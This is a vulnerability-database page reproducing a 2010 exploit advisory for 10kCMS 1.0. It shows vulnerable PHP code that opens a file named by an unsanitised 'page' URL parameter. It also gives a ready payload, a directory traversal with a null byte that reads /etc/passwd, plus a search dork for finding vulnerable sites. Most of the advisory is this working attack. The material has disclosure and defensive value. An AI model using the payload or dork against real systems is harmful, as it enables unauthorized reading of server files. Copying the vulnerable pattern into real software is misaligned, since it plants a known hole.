Lucene search
K

10kCMS File Disclosure Vulnerability

🗓️ 17 Aug 2010 00:00:00Reported by pimpimType 
zdt
 zdt
🔗 0day.today👁 13 Views

10kCMS File Disclosure Vulnerability in webapp

Code
====================================
10kCMS File Disclosure Vulnerability
====================================


# Author: pimpim
# Software Link: http://www.10kcms.com/?page=download
# Version: 1.0
# Category: webapps
# Google dork: Generated by 10kCMS
# Tested on: Linux

#Vulnerable code:
//Load filename from URL
if (isset($_GET['page']) && (file_exists($_GET['page'].'.txt'))) //If the url contains an existing filename
{
	$filename = $_GET['page'].'.txt';  //Load it
}
else
{
	$filename = 'index.txt';  //Otherwise, default to index.txt
	$htmltitle= 'Home';
}

//Load in the file contents
$fp = fopen($filename,"r");

#Exploit: http://localhost/...path.../?page=../../../../../etc/passwd%00
Null byte must be used to strip off the ".txt" extension



#  0day.today [2018-04-02]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Aug 2010 00:00Current
7.1High risk
Vulners AI Score7.1
13